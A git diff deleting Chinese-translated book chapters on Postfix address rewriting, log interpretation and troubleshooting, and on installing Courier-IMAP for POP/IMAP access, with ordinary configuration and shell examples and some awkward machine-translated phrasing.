`address`。 `alias`列是虚拟查找表的左边(带有虚拟别名域的地址), `address`列是右边(新地址)。 - -```sh -mysql> SELECT * FROM aliases; -+---------------------+------------------+ -| alias | address | -+---------------------+------------------+ -| joe@gb.example.com | joe1@example.com | -| joe@de.example.com | joe2@example.com | -| jane@fr.example.com | jane@example.com | -+---------------------+------------------+ -3 rows in set (0.00 sec) - -``` - -以下简单的 SQL 查询是需要找出一个地址在一个虚拟域是否存在,并应该重写到一些其他地址: - -```sh -SELECT address FROM aliases WHERE alias = 'lookup key' - -``` - -将此转换为 Postfix MySQL 查找表配置,结果如下: - -```sh -hosts = localhost -user = postfix -password = secret -dbname = mail -select_field = address -table = aliases -where_field = alias -additional_conditions = - -``` - -另一种解决方案,使用 Postfix 2.2 的 `query`参数,看起来像这样: - -```sh -hosts = localhost -user = postfix -password = secret -dbname = mail -query = SELECT address FROM aliases WHERE alias ='%s' - -``` - -为了简洁起见,下面将省略示例配置中的 `hosts, user, password`和 `dbname`参数。 - -有时实际情况比这个简单的例子要复杂一些,所以我们将继续讨论一些更困难的问题。 - -参数 `select_field, table, where_field`和 `additional_conditions`实际上只是直接插入到下面的 `SELECT`查询模板中,以及查找字符串: - -```sh -SELECT select_field FROM table WHERE where_field = 'lookup key' additional_conditions - -``` - -这意味着 `select_field`不必是单个列; 它可以指定合并为一个值的多个列,并且 `table`可以是具有 `additional_conditions`中的连接条件的多个表。 例如,考虑这个稍微复杂一点的查询: - -```sh -SELECT CONCAT(aliases.user, '@example.com') FROM aliases, domains -WHERE CONCAT(aliases.name, '@', domains.name) = 'lookup key' -AND aliases.domain = domains.id - -``` - -执行它需要下列查找表配置: - -```sh -select_field = CONCAT(aliases.user, '@example.com') -table = aliases, domains -where_field = CONCAT(aliases.name, '@', domains.name) -additional_conditions = AND aliases.domain = domains.id - -``` - -或者,使用 `query`参数: - -```sh -query = SELECT CONCAT(aliases.user, '@example.com') -FROM aliases, domains -WHERE CONCAT(aliases.name, '@', domains.name) = '%s' -AND aliases.domain = domains.id - -``` - -在启用新的 MySQL 查找表配置之前,您应该确保它为所有查找键返回所需的结果。 这可以通过 `postmap`程序来完成,其过程在带有 postmap 的*查找表故障排除一节中进行了描述。* - -## 本地别名 - -本地别名是虚拟别名的替代方案。 本地别名几乎以相同的方式工作,但它们只适用于本地域。 本地别名表还提供了一些额外的特性。 在第一次在*错误报告*部分开始 Postfix 之前,我们简要地了解了本地别名。 - -本地别名的查找表在 `alias_maps`参数中指定。 这些查找表的格式与虚拟别名略有不同,其原因是为了与 `sendmail`邮件传输代理的文件格式保持兼容。 因此,您不应该使用 `postmap`命令来重新构建别名文件,而应该使用 `postalias`。 您可能还会发现 `newaliases`命令很方便。 - -许多人对两个相似的参数 `alias_maps`和 `alias_database`感到困惑。 两者之间的区别在于, `alias_maps`包含 Postfix 将用于执行本地别名重写的查找表,而 `alias_database`包含 `newaliases`命令在调用时将重新生成的查找表。 只有索引查找表(`hash, btree, dbm, cdb`)需要重新构建,所以在那里列出 MySQL 查找表是没有意义的。 - -通常,您会希望 `alias_maps`和 `alias_database`引用相同的查找表: - -```sh -alias_maps = hash:/etc/aliases -alias_database = $alias_maps - -``` - -与虚拟别名表相比,本地别名表中的查找键不包括域部分。 这些信息是无用的,因为所有本地域都具有相同的本地部件名称空间。 当索引文件用于本地别名时,查找键必须以冒号结束,例如如下所示: - -```sh -$ cat /etc/aliases -postmaster: jack, jill -$ postalias /etc/aliases - -``` - -假设 `myorigin`中的域是本地的,这将把指向任何本地域中的邮政主管地址的消息发送给两个用户 `jack`和 `jill`。 下一节解释为什么这个假设是重要的。 - -别名表的右边不一定要指向本地用户。 事实上,它们可以指向任何域中的任何有效地址。 本地别名表的格式请参见 `aliases(5)`手册。 - -### 命令下发 - -到目前为止,所有可以用本地别名完成的事情都可以用虚拟别名完成。 那用本地化名有什么用? 一个很大的区别是本地别名支持向命令传递消息。 这通常是邮件列表管理软件所需要的。 Postfix 通过在标准输入流上传递消息的内容将消息传递给命令。 - -要在传递消息时运行命令,使用以下语法: - -```sh -mylist: |"/usr/local/mailman/bin/wrapper post mylist" - -``` - -只有在命令中包含空格时才需要双引号,就像在本例中一样。 - -但是,如果您想在虚拟域上运行邮件列表呢? 您将不得不使用虚拟别名将虚拟域中的地址重写为本地别名。 假设您希望将发送到地址 `mylist@virtual.example.com`的消息发送到 `mylist`邮件列表,该列表通过命令传递接受消息。 要启用此功能,你需要一个虚拟别名,如下所示: - -```sh -mylist@virtual.example.com mylist@localhost - -``` - -注意程序将以什么用户的身份运行。 Postfix 通常使用别名文件的所有者,但如果所有者是根用户,则不使用。 在这种情况下,将使用 `default_privs`参数中的用户(通常是“nobody”)来运行程序。 - -如果您编写自己的程序,希望 Postfix 向其传递消息,请确保在发生错误时返回适当的退出状态。 Postfix 使用 `sysexits.h`中的错误状态常量来确定如果程序以非零状态退出时该做什么。 根据退出状态,Postfix 要么将消息返回给发送方,要么让它留在队列中,稍后重试传递。 - -## 常见陷阱 - -虚拟别名不仅适用于虚拟别名域,还适用于通过 Postfix 传递的所有消息。 不认识到这一点可能会导致意外。 例如,如果你的主机很多虚拟域别名 common-say 应该有一些别名, `root, postmaster`, `abuse`——你可能会使用一个正则表达式查找表(`regexp`或 `PCRE`),别名这些地址为你所有的虚拟域别名。 - -```sh -# Warning! Does not work! -/^abuse@/ abuse@example.com - -``` - -不要这样做! 由于虚拟别名适用于所有消息,您或您的用户发送给的任何消息,例如 `abuse@aol.com`或 `abuse@mindspring.com`将被发送给您,而不是指定的收件人。 - -一个非常常见的陷阱是认为右侧的非限定地址隐式地指向本地用户。 例如, `joe`总是表示本地用户 joe。 这对于虚拟别名和本地别名来说都是不正确的。 回想一下本章开始时讨论的 `myorigin`参数。 就像在所有其他地方一样,Postfix 将用 `myorigin`限定纯用户名。 如果您的值 `myorigin`恰好是 `mydestination`中列出的一个本地域(很可能是这样), `joe`将确实指向本地用户 joe。 为了避免意外,如果您在某个时候将 `myorigin`设置为非本地域,最好总是用本地域限定右侧地址。 由于 `localhost.$mydomain`几乎总是列在 `mydestination`中,所以 `localhost`可能是一个不错的人选。 - -```sh -postmaster@example.com jack@localhost, jill@localhost - -``` - -## 其他地址改写机制 - -虚拟和本地别名并不是 Postfix 提供的唯一地址重写机制。 最值得注意的是,可以使用规范重写重写信封和标头中的发件人和/或收件人地址。 这种类型的重写由参数 `canonical_maps, sender_canonical_maps`和 `recipient_canonical_maps`提供,如果您不想公开用户的实际用户名,那么将发送地址(如 `joe@example.com`)重写为 `Joe.User@example.com`会很有用。 - -在[http://www.postfix.org/ADDRESS_REWRITING_README.html](http://www.postfix.org/ADDRESS_REWRITING_README.html)可用的*ADDRESS_REWRITING_README*中描述了 Postfix 如何重写地址以及重写的顺序。 - -# 处理 Postfix 问题 - -Postfix 提供了许多工具来简化问题的解决。 在您的 Postfix 邮件系统中实现新功能时,请一步一步来。 你对自己所做的事情越不确定,你采取的步骤就应该越小。 如果你遇到了问题,你会更早地发现它们,并且更容易找出哪里出了问题。 当使用 MySQL 数据库实现复杂的查找表时尤其如此。 - -### 注意事项 - -如果您对复杂的查找表有一点不适应,那么永远不要同时引入一个新特性和一个复杂的查找表配置。 如果有东西坏了,你就很难找到从哪里开始。 - -在尝试新配置时,在配置完全测试完成之前保持谨慎是没有坏处的。 通过设置以下功能,所有永久性错误将变成临时错误: - -```sh -soft_bounce = yes - -``` - -这意味着任何被服务器拒绝的消息都将被重试传输,而 Postfix 将重试发送任何被远程服务器拒绝的消息。 在此设置生效后,密切监视日志并寻找看起来不正常的拒绝。 当您完成测试时,不要忘记关闭此功能! - -## 读取和解释日志文件 - -排除 Postfix 问题的一个关键元素是能够读取和解释 Postfix 产生的日志消息。 因为它们是纯文本文件,每行只有一条日志消息,所以它们不需要任何特殊的程序来检查。 之前已经讨论过几次日志,但是本节将解释这些消息,并给出成功邮件传递和失败邮件传递的示例。 在阅读示例时,请参考*Postfix 体系结构:概述*一节中的图,并注意日志条目的顺序如何紧密地遵循邮件通过 Postfix 的路径。 - -Kyle Dent 的文章*在[http://www.onlamp.com/pub/a/onlamp/2004/01/22/postfix.html](http://www.onlamp.com/pub/a/onlamp/2004/01/22/postfix.html)中对 Postfix 日志的故障排除*也进行了讨论。 - -### 消息队列 ID - -接收和处理的每个消息的一个重要属性是队列 ID。 **队列 ID**是一个十六进制数,长度不同,用来标识一条消息。 具有消息上下文的日志消息也将记录队列 ID。 如果您有队列 ID(日志文件的路径需要根据您的系统进行调整),这使得您可以很容易地找到与某个消息相关的所有日志消息。 - -```sh -$ grep 92AFD4302 /var/log/maillog - -``` - -队列 ID 是在 `cleanup`守护进程在 Postfix 队列目录之一创建队列文件时分配的。 队列文件将保留在系统中,直到所有接收方都被发送或消息过期,然后 `qmgr`守护进程将删除队列文件。 在最近的 Postfix 版本中,这个删除事件会被记录下来,我们将在示例中看到。 - -有时你会发现日志中没有队列 ID,而是有单词 `NOQUEUE`,就像我们之前看到的这个例子: - -```sh -Dec 31 16:39:31 jeeves postfix/smtpd[28478]: NOQUEUE: reject_warning: RCPT from unknown[222.101.15.127]: 450 Client host rejected: cannot find your hostname, [222.101.15.127]; from= to= proto=SMTP helo=<222.101.15.127> - -``` - -原因是该消息还没有得到队列文件,因此还没有分配队列 ID。 队列文件由 `cleanup`守护进程在第一个接收者被接受时创建。 这有助于性能优化。 - -不要混淆队列 ID 和消息 ID。 后者包含在每个消息的 message - id 头中,通常由邮件客户端在将消息交给 Postfix 之前添加。 如果没有这样的报头字段,Postfix 的 `cleanup`守护进程将为您添加一个。 守护进程将始终记录接收到的消息的消息 ID。 - -```sh -Jan 5 23:49:13 jeeves postfix/cleanup[12547]: 92AFD4302: -message-id=<20041214021903.243BE2D4CF@mail.example.com> - -``` - -message - id 头包含计算机的主机名,通常是当前日期和时间,对于每条消息它都是唯一的。 不要误以为队列 id 也是唯一的。 对于不同的消息,队列 id 可以而且将会被重用,理论上是每秒钟重用一次(但这必须是在异常繁忙的系统上)。 - -### SMTP 提交和本地发送 - -让我们从两个成功邮件事务的例子开始。 第一个示例显示了通过 SMTP 接收并传递到本地邮箱的消息,第二个示例将显示通过 SMTP 传递到外部邮箱的本地提交消息。 - -第一个示例显示了通过 SMTP 接收到消息并将其传递给本地用户后的日志内容。 - -```sh -Jan 5 23:49:13 jeeves postfix/smtpd[12546]: -connect from mail.example.com[1.2.3.4] - -``` - -`smtpd`守护进程已经从客户端接收到一个连接。 - -```sh -Jan 5 23:49:13 jeeves postfix/smtpd[12546]: 92AFD4302: -client=mail.example.com[1.2.3.4] - -``` - -Postfix 现在已接受此消息的第一个接收者,并从 `cleanup`守护进程请求队列文件。 这是该消息的第一个日志条目,其中包含队列 ID。 - -```sh -Jan 5 23:49:13 jeeves postfix/cleanup[12547]: 92AFD4302: -message-id=<20041214021903.243BE2D4CF@mail.example.com> - -``` - -`cleanup`守护进程收到了来自 `smtpd`守护进程的全部消息,并记录了消息 ID。 - -```sh -Jan 5 23:49:13 jeeves postfix/smtpd[12546]: -disconnect from mail.example.com[1.2.3.4] - -``` - -客户端与 SMTP 服务器断开连接。 - -```sh -Jan 5 23:49:13 jeeves postfix/qmgr[22431]: 92AFD4302: -from=, size=4258, nrcpt=1 (queue active) - -``` - -消息已经进入活动队列,因此可以进行传递(除非队列是拥挤的,否则传递将或多或少立即启动)。 队列管理器记录发送方地址、以字节为单位的消息大小和接收方的总数。 报告的大小将略大于消息中的实际字节数和存储在磁盘上的消息的大小。 这是因为报告的大小是队列文件中消息内容记录的总大小,这会带来一些开销。 - -```sh -Jan 5 23:49:14 jeeves postfix/local[12653]: 3C21A4305: -to=, orig_to=, -relay=local, delay=0.1, delays=0.04/0.03/0/0.03, dsn=2.0.0, -status=sent (delivered to maildir) - -``` - -日志含义本地下发代理成功将消息下发到本地用户 jack 的 `maildir`。 消息最初的地址是 `postmaster@example.net`,但是某些地址重写机制(通常是本地或虚拟别名)重写了接收地址。 最后,消息在接收后大约十分之一秒( `delay`关键字)被发送。 - -注意,当交付完成时将记录此消息。 如果传递代理在传递过程中调用另一个程序,并且该程序记录它自己的消息,这些消息将在传递完成消息之前结束在日志中。 - -每个接收方都会发出一条日志消息: - -```sh -Jan 5 23:49:26 jeeves postfix/qmgr[22431]: 92AFD4302: removed - -``` - -最后一条消息表示所有的接收方都已被传递,以便删除队列文件。 - -### 本地提交和 SMTP 发送 - -我们下一个例子与前一个例子有些相反。 这里,通过 `sendmail`命令提交的消息通过 SMTP 发送到另一台主机: - -```sh -Jan 6 01:41:29 jeeves postfix/pickup[12659]: -CBA844305: uid=100 from= - -``` - -已提交的消息已由 `pickup`守护进程处理。 消息是由用户 ID 为 `100`的用户提交的,发送者是不合格的地址 `jack:` - -```sh -Jan 6 01:41:30 jeeves postfix/cleanup[13190]: CBA844305: -message-id=<20050106004129.CBA844305@example.net> - -``` - -同样, `cleanup`守护进程已经读取了消息,并且记录了消息 ID: - -```sh -Jan 6 01:41:30 jeeves postfix/qmgr[12661]: CBA844305: -from=, size=1309, nrcpt=1 (queue active) - -``` - -请注意,以前不合格的发送地址现在已被重写为完全合格的地址,这可能是因为 `myorigin`参数等于 `example.net`。 - -```sh -Jan 6 01:41:31 jeeves postfix/smtp[13214]: CBA844305: -to=, relay=mail.example.com[1.2.3.4], -delay=1.3, delays=0.03/0.03/0.97/0.22, dsn=2.0.0, -status=sent (250 Ok: queued as DD8F02787) - -``` - -日志含义通过 `mail.example.com`SMTP 中继成功发送消息给收件人 `joe@example.com`。 当接收消息时,远程服务器说: - -**250 Ok: queue as DD8F02787** - -现在我们知道了消息在另一端获得的队列 ID。 如果我们需要通过 `example.com`联系邮政局长,此信息可能很有用: - -```sh -Jan 6 01:41:31 jeeves postfix/qmgr[12661]: CBA844305: removed - -``` - -传递完成,队列文件删除。 - -希望您开始掌握为消息发出的日志条目的一般格式,因此下一个示例将只显示日志片段。 - -### SMTP 发送时出现连接问题 - -下面的示例显示了在 DNS 中设置多个主机来接收某个域的消息,但其中一些主机暂时不可达,导致 Postfix 在传递之前尝试一些主机时会发生什么情况。 我们只查看交付代理的日志: - -```sh -Jan 2 14:19:46 poseidon postfix/smtp[998]: connect to -mx4.hotmail.com[65.54.190.230]: Connection timed out (port 25) -Jan 2 14:20:16 poseidon postfix/smtp[998]: connect to -mx1.hotmail.com[64.4.50.50]: Connection timed out (port 25) -Jan 2 14:20:46 poseidon postfix/smtp[998]: connect to -mx3.hotmail.com[64.4.50.179]: Connection timed out (port 25) -Jan 2 14:20:47 poseidon postfix/smtp[998]: 940C132ECE: -to=, relay=mx4.hotmail.com[65.54.167.230], -delay=92, delays=92/0/0.27/0.28, dsn=2.0.0, -status=sent (250 <20050102131914.B7C4B32ECF@example.com> Queued mail for delivery) - -``` - -显然,当 Postfix 尝试传递时,无法访问 `hotmail.com`的三个接收邮件主机。 请注意连接尝试是如何以 30 秒的间隔均匀地分布的。 这不是巧合; 控制 Postfix 等待连接的时间的参数 `smtp_connect_timeout`的默认值实际上是 30 秒。 这三个 30 秒的超时还解释了为什么最后一条消息记录的传递延迟为 92 秒。 另外请注意,Hotmail 提供给我们的接受消息不包含任何队列 ID,而是消息 ID——在 250 状态码之后的文本消息格式还没有标准化。 - -### 获取更详细的日志消息 - -在大多数情况下,Postfix 的默认日志记录足以解决问题,但有时需要更多的细节。 对于那些罕见的情况,您可以要求 Postfix 的守护进程通过确保它们至少有一个 `-v`启动选项来记录更详细的消息。 这是通过编辑 `master.cf`并将 `-v`添加到您希望从中获得更详细日志记录的守护进程的行尾来完成的。 例如,要从 SMTP 服务器 `smtpd`获取详细日志记录,请更改以下行: - -```sh -smtp inet n - n - - smtpd - -``` - -: - -```sh -smtp inet n - n - - smtpd -v - -``` - -根据您的配置,第一行看起来可能略有不同,但重要的部分是最后一列中的内容,即守护程序的名称。 在 SMTP 服务器的情况下,繁忙的服务器可能会产生大量的日志记录与此设置。 如果是这样,那么 `debug_peer_list`参数就可以派上用场了。 - -此参数接受一个或多个主机名或网络地址,将为其增加日志记录级别。 这只在存在网络对等体的情况下才有意义,比如 SMTP 服务器和 SMTP 客户端。 - -如果您在向特定的远程服务器(比如 `mail.example.com`)发送消息时遇到了问题,您可以设置以下规则: - -```sh -debug_peer_list = mail.example.com - -``` - -然后,当 Postfix 连接到特定的主机时,您可以查看增加的日志记录。 使用 `debug_peer_list`时,没有理由去碰 `master.cf`。 - -## 使用 Postmap 处理查找表故障 - -`postmap`命令不仅用于重建索引查找表,还可以使用它来查询查找表,以检查查找是否如您所期望的那样工作。 这对于正则表达式查找表和复杂的查找表类型(如 MySQL、LDAP 和 PostgreSQL)特别有用。 在 Postfix 中使用新的查找表之前,应该先用 `postmap`测试它们。 要使用 `postmap`执行查找,请使用 `-q`选项: - -```sh -$ postmap -q postmaster@example.com mysql:/etc/postfix/ mysql-aliases.cf -jack@example.com - -``` - -这将查询由 `/etc/postfix/mysql-aliases.cf`配置描述的 MySQL 查找表中字符串 `postmaster@example.com`,模拟通过 Postfix 进行虚拟别名查找。 - -您还可以检查命令的退出状态,以确定查找是否成功。 一如既往,零退出状态表示成功。 UNIX shell 将最后一个进程的退出状态保存在环境变量 `$?`中。 在运行 `postmap:`之后,可以使用 echo shell 命令查看 `$?`变量的内容。 - -```sh -$ postmap -q badaddress@example.com mysql:/etc/postfix/mysql-aliases.cf -$ echo $? -1 - -``` - -如果查找没有按照预期工作,您可以(就像使用 Postfix 守护进程一样)使用一个或多个 `-v`启动选项来增加消息的冗长性。 - -注意,postmap 执行原始*查询。 例如,如果您想知道 IP 地址 `1.2.3.4`是否匹配以下访问地图行:* - -```sh -1.2.3 REJECT - -``` - -您不能使用以下命令测试它: - -```sh -$ postmap –q 1.2.3.4 hash:/etc/postfix/client_access - -``` - -`postmap`命令不知道 Postfix 关于在 access map 上下文中如何匹配 IP 地址的规则,即使知道,它也无法知道 `1.2.3.4`是一个 IP 地址。 - -## 从 Postfix 邮件列表中获取帮助 - -Postfix 的邮件列表,称为 Postfix 用户,在遇到 Postfix 问题时是一个非常有价值的资源。 可以在[http://www.postfix.org/lists.html](http://www.postfix.org/lists.html)找到该列表档案的链接以及如何订阅的说明。 - -虽然名单上的人非常乐于助人,但他们希望你在寻求帮助之前做足功课。 这意味着您应该搜索列表归档,看看您的问题以前是否有人问过,最重要的是,您应该首先阅读文档。 - -当你问问题的时候,不要忘记陈述你想要达到的更大的目标。 这一点经常被遗忘,而且这个问题也太具体了。 了解全局不仅会更容易帮助你,而且还会揭示你所选择的解决方法是否完全错误。 但是,在你的描述中不要太冗长! 毕竟,阅读 postfix 用户列表的人也是人,他们确实会对过长的帖子感到厌倦。 - -因为他们是人类,他们也不是灵媒。 因此,一定要提供完整的配置和任何可能与您的问题相关的日志消息。 通过运行 `postconf -n`获取配置。 该命令将打印您在 `main.cf`中设置的所有参数的值。 不要张贴您的 `main.cf`的完整内容,或 `postconf`的输出(没有 `-n`)。 `master.cf`的内容很少需要。 - -# 总结 - -现在是总结本章所学内容的时候了。 我们首先快速了解了 Postfix 邮件传输代理的工作方式,然后了解了如何安装软件并准备基本配置。 - -然后,我们研究了各种阻止垃圾邮件和其他不受欢迎的消息的方法。 我们引入了虚拟别名域,以使您的邮件服务器完全能够托管多个域。 最后,我们了解了一些结构化技术,以帮助您分析和解决 Postfix 问题。*** \ No newline at end of file diff --git a/docs/linux-email/03.md b/docs/linux-email/03.md deleted file mode 100644 index 6cee08c9..00000000 --- a/docs/linux-email/03.md +++ /dev/null @@ -1,747 +0,0 @@ -# 三、使用 POP 和 IMAP 接收邮件 - -现在您有了一个正常工作的电子邮件服务器,下一步是让用户访问他们的电子邮件。 在本章中,你将学到以下内容: - -* 什么是 POP 和 IMAP,以及如何选择应该实现哪一个 -* 如何安装和配置可以同时提供 POP 和 IMAP 功能的 Courier-IMAP -* 如何配置电子邮件服务器可访问的客户端 -* 如何配置流行的电子邮件客户端以使用您的电子邮件服务器提供的服务 - -# 选择 POP 和 IMAP - -Postfix 将接收电子邮件并将其发送到用户的收件箱,但是需要额外的软件来允许用户轻松地阅读他们的电子邮件。 从主机检索电子邮件有两个标准。 第一种称为**邮局协议**(**POP**)。 POP3 是 POP 最常用的版本。 这通常用于从服务器下载电子邮件,将其存储在客户机应用中,并从服务器删除电子邮件。 这是互联网服务提供商经常使用的。 电子邮件随后由客户机应用(例如,Windows Live Mail 或 Mozilla Thunderbird)操纵。 - -第二个协议称为**Internet 消息访问协议**(**IMAP**)。 当您希望在服务器上保留每个电子邮件的副本时,通常使用 IMAP 系统。 IMAP 允许用户为电子邮件创建文件夹,并在文件夹之间移动或复制电子邮件。 客户机应用访问服务器上的电子邮件,但不必将其存储在客户机上。 电子邮件服务器必须能够存储所有用户的所有电子邮件,并且数据量通常会随着时间的推移而增加。 用户很少删除电子邮件。 因此,IMAP 更常用于具有集中式 IT 设施的大型组织。 - -名为**电子邮件客户端**的程序代表用户处理从邮件服务器检索邮件,而电子邮件客户端与之通信的程序称为**电子邮件服务器**。 有许多 POP3 和 IMAP 服务器。 有些只执行其中一个任务。 Courier-IMAP 软件套件同时包含 POP3 和 IMAP 服务器,本章将详细介绍。 - -Courier-IMAP 通过访问用户的 `maildir`进行操作。 操作概述如下图所示: - -![Choosing between POP and IMAP](img/8648_03_01.jpg) - -# 下载安装 Courier-IMAP - -**Courier**是一套程序,包括一个成熟的 MTA。 本书假设 MTA 使用的是**Postfix**。 重要的是只安装和配置 Courier 的 POP3 和 IMAP 组件——如果有两个 mta 同时运行,那么电子邮件系统将非常不稳定。 - -### 注意事项 - -术语“信使”经常用来指完整的信使软件套件,包括 MTA。 Courier-IMAP 通常用于引用服务器的 IMAP 和 POP3 部分。 **Courier 认证库**是 Courier- imap 所需要的另一个 Courier 模块。 确保只安装 Courier 身份验证库和 Courier- imap。 - -有几种方法可以安装 Courier-IMAP。 Courier-IMAP**Redhat 软件包管理器**(**rpm**)适用于几种不同的 Linux 发行版。 这些内容可能来自发行版本的制造商,也可能是由第三方制作的,通常是 Courier 的爱好者或开发者。 如果您的 Linux 发行版是基于 RPM 的,但是在 RPM 中没有一个 Courier-IMAP 包,那么它必须从源代码构建。 - -如果您的 Linux 发行版是基于 Debian 软件包格式,那么可能会有一个 Courier-IMAP 软件包。 如果不是,那么 Courier-IMAP 将不得不从源代码构建。 - -## 从分发库安装 Courier-IMAP - -如果可能的话,最好使用 Linux 发行版构建的包。 它们提供的任何包都应该是稳定的、性能良好的,并且使用默认路径和文件位置来适应软件的其他部分。 如果您的发行版有一个包管理器,那么您应该使用它,因为它将自动安装任何 Courier-IMAP 需要的包。 - -获得与正在使用的发行版匹配的包是很重要的。 适用于不同发行版的软件包可能不能正确工作,也可能使现有软件不稳定。 - -## 从 RPM 安装 Courier-IMAP - -获得与所使用的发行版匹配的 RPM 是很重要的。 用于其他发行版的 RPM 可能不能正确工作,并且可能使现有软件不稳定。 - -如果您的 Linux 发行版包含一个图形化的前端来管理包(例如 gnorpm),那么最好使用它,因为它将自动管理包之间的任何依赖关系。 - -要定位 Courier-IMAP 的 RPM,首先检查您的 Linux 分发服务器是否提供了 RPM。 如果是,那么下载并使用它。 如果分发者没有提供一个包,另一个组织或个人可能提供一个合适的包。 要检查这个,可以在网上搜索。 在[www.rpmfind.net](http://www.rpmfind.net)上有一个 rpm 数据库,搜索 `courier-imap`并加上发行版的名称(例如,Fedora 或 Mandriva)将找到任何合适的包。 最好使用为发行版的特定版本设计的包。 例如,Mandriva Linux 2008.1 的包不应该用于 Mandriva Linux 2009.1。 如果您不确定,那么最好按照下一节所述从源代码安装 Courier-IMAP。 - -如果您不能使用前端 RPM,那么要从 RPM 安装 Courier-IMAP,首先下载 RPM 并使用命令提示符更改到包含该文件的目录。 root 用户使用 `rpm`命令安装 RPM。 - -```sh -# rpm -ivh courier-imap-4.4.1-1mdv2009.1.i586.rpm - -``` - -如果没有所有的必备软件,RPM 命令可能会失败。 在这种情况下,输出将命名所需的软件。 可以像前面看到的那样,使用 `rpm`命令下载并安装相应的包。 安装完所有必备软件后,可以使用 `rpm`命令安装 Courier-IMAP。 - -如果使用 `rpm`命令安装了 Courier-IMAP,也可以使用 `rpm`命令卸载。 命令如下: - -```sh -# rpm -e Courier-IMAP - -``` - -## 使用 Debian 包格式安装 Courier-IMAP - -如果您的 Linux 发行版包含一个图形化前端来管理包(比如 gnorpm),那么您可以使用它,如果您愿意这样做的话。 - -可以在任何基于 debian 的系统上使用以下命令安装 Courier-IMAP: - -```sh -# apt-get install courier-imap - -``` - -## 从源安装 Courier-IMAP - -在现代 Linux 发行版上,从源代码安装 Courier-IMAP 并不是一项困难的任务。 在较老版本的 Linux 和其他 UNIX 平台(如 AIX、Solaris 和 HP-UX)上,可能会出现问题,特别是在系统的其余软件不是最新的情况下。 - -### 前提条件 - -安装 Courier-IMAP 的前提条件如下: - -* **一个 c++编译器:**我们推荐**GNU c++编译器**,这是一个的一部分**GNU compiler Collection (GCC**),进而是几乎所有 Linux 发行版的一部分,是大多数平台上免费。 如果 RPM 或其他 GCC 包可用(几乎肯定会可用),那么应该优先使用它,而不是从源代码构建 GCC。 【显示】**** -***** **A** `make`**实用程序:**我们推荐 GNU `make`实用程序,它将在大多数 Linux 发行版中可用,也可以从[http://gcc.gnu.org/](http://gcc.gnu.org/)下载。* **GNU 链接器:**可以在[www.gnu.org/software/binutils/](http://www.gnu.org/software/binutils/)找到。* **GNU**Libtool:可以在[www.gnu.org/software/libtool/](http://www.gnu.org/software/libtool/)上找到。* **Berkeley DB library or gdbm library:**这些是允许程序在文件中创建数据库的库。 同样,这些文件应该以打包形式提供,但是可以分别从[www.sleepycat.com/](http://www.sleepycat.com/)和[http://www.gnu.org/software/gdbm/gdbm.html](http://www.gnu.org/software/gdbm/gdbm.html)下载。 几乎可以肯定已经安装了其中一个或两个。* Courier-IMAP 的源代码。**** - - ****要成功安装 Courier-IMAP,必须首先安装所有这些先决条件。 - -### 构建信使认证库 - -安装 Courier-IMAP 有两个阶段。 首先,必须构建 Courier Authentication Library(通常称为 `Courier-authlib`)。 完成之后,就可以安装 Courier-IMAP 了。 - -### 注意事项 - -虽然这里给出了安装 Courier-IMAP 的说明,但是阅读随包提供的 `README, READ.ME`或 `INSTALL`文件始终是一个好主意。 如果在安装软件时遇到问题,那么一定要检查是否在任何提供的文档中都没有提到这个问题。 - -`Courier-authlib`源码可以从[www.courier-mta.org/authlib/](http://www.courier-mta.org/authlib/)下载。 与许多开源包一样,Courier Authentication Library 使用一个配置脚本来检测系统功能,然后使用 `make`命令来构建和安装软件。 - -要构建信使身份验证库,请输入以下命令。 您应该会看到类似如下的响应: - -```sh -$ cd /tmp -$ tar xfj /path/to/courier-authlib-0.62.4.tar.bz2 -$ cd courier-authlib-0.62.4/ -$ ./configure -checking for a BSD-compatible install... /usr/bin/install -c -checking whether build environment is sane... yes -checking for a thread-safe mkdir -p... /bin/mkdir -p -checking for gawk... gawk -... (lots more output appears) -configure: creating ./config.status -config.status: creating Makefile -config.status: creating config.h -config.status: executing depfiles commands -config.status: executing libtool commands -$ -$ make -$ make -/bin/sh ./config.status --file=authlib.html -config.status: creating authlib.html -echo "#define AUTHLDAPRC \"\"" >authldaprc.h -...(lots more output) -/bin/sh ./config.status --file=authlib.3 -config.status: creating authlib.3 -make[2]: Leaving directory `/tmp/courier-authlib-0.62.4' -make[1]: Leaving directory `/tmp/courier-authlib-0.62.4' -$ su -c make install (enter the root password) -# make install -make install-recursive -make[1]: Entering directory `/tmp/courier-authlib-0.62.4' -Making install in libltdl -make[2]: Entering directory `/tmp/courier-authlib-0.62.4/libltdl' -make install-am -...(lots more output) -make[4]: Leaving directory `/tmp/courier-authlib-0.62.4' -make[3]: Leaving directory `/tmp/courier-authlib-0.62.4' -make[2]: Leaving directory `/tmp/courier-authlib-0.62.4' -make[1]: Leaving directory `/tmp/courier-authlib-0.62.4' -# - -``` - -成功执行命令后,将安装 Courier Authentication Library。 在启动它之前,需要进行一些配置。 - -注意,如果你使用的是 Red Hat Linux 或者它的派生版本,比如 Fedora Core 或者 CentOS,那么 `./configure`脚本会检测到这一点,并建议你使用 RPM 或者 `--with-redhat`参数: - -```sh -$ ./configure -configure: WARNING: === I think you are trying to run this configure script -configure: WARNING: === on Red Hat/Fedora. You're doing too much work! -configure: WARNING: === It's much faster to create installable binary RPMs -configure: WARNING: === like this: http://www.courier-mta.org/FAQ.html#rpm -configure: WARNING: === When you do this you may find that RPM will tell you -configure: WARNING: === to install some other software first, before trying to -configure: WARNING: === build this one, and even tell you the name of RPMs you -configure: WARNING: === build this one, and even tell you the name of RPMs you -configure: WARNING: === need to install from the distribution CD. That's much -configure: WARNING: === easier than trying to figure out the same from some -configure: WARNING: === cryptic error message. -configure: WARNING: -configure: WARNING: === Even if you don't intend to use everything you need to -configure: WARNING: === have in order to build via RPM, you should still do as -configure: WARNING: === you're told. All the extra stuff (LDAP, SQL, etc...) -configure: WARNING: === goes into RPM sub-packages, which do not need to be -configure: WARNING: === installed. -configure: WARNING: === But, if you insist, you can simply add '--with-redhat' -configure: WARNING: === parameter to this configure script and not see this -configure: WARNING: === error message. You should also do this when upgrading -configure: WARNING: === and you didn't use RPM with the older version. -configure: error: ... in either case you better know what you're doing! - -``` - -在本例中,将 `--with-redhat`参数传递给 `./configure:` - -```sh -$ ./configure --with-redhat - -``` - -### 配置信使认证库 - -安装身份验证库之后,需要做出几个决定。 - -Courier Authentication Library 为系统管理员提供了对用户进行身份验证的灵活性。 身份验证是当用户证明他/她的身份时,通常是通过提供有效的用户名和相应的密码。 认证方式有以下几种: - - -| - -身份验证方法 - - | - -描述 - - | -| --- | --- | -| `authshadow` | 默认情况下,大多数 Linux 发行版在 